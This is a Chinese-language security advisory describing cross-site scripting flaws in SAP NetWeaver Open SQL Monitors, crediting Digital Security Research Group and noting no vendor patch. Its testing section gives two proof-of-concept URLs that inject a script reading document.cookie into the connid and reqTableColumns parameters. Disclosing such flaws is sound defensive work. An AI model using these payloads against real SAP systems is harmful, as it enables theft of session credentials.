受影响系统：
SAP NetWeaver 7.0 – 7.02
描述：
SAP NetWeaver是一个企业IT系统整合管理系统。
SAP NetWeaver的Open SQL Monitors (默认安装于50100端口)在实现上存在多个跨站脚本漏洞，远程攻击者可能利用这些漏洞窃取基于Cookie的验证凭据，执行进一步的其他攻击。
ConnectionMonitorServlet程序的connid参数和CatalogBufferMonitorServlet程序的reqTableColumns参数存在问题。
<*来源：a.polyakov and a.troshichev from Digital Security Research Group
链接：http://dsecrg.com/pages/vul/show.php?id=156
*>
测试方法：
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
a.polyakov and a.troshichev from Digital Security Research Group （）提供了如下测试方法：
http://www.example.com:50100/OpenSQLMonitors/servlet/ConnectionMonitorServlet?view=stmtpool&node=12924950&ds=SAPSR3DB&connid
=com.sap.sql.jdbc.direct.DirectPooledConnection@1ed00a7<script>alert(document.cookie)</script>
http://www.example.com:50100/OpenSQLMonitors/servlet/CatalogBufferMonitorServlet?action=btnSHOW_COLUMNS&reqNode=12924950&reqBufferId=
SAPSERVER:dm0:SAPSR3DB&reqTableColumns=BC_RPROF_PROFILE<script>alert(document.cookie)</script>
建议：
厂商补丁：
SAP
—
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
0 条评论。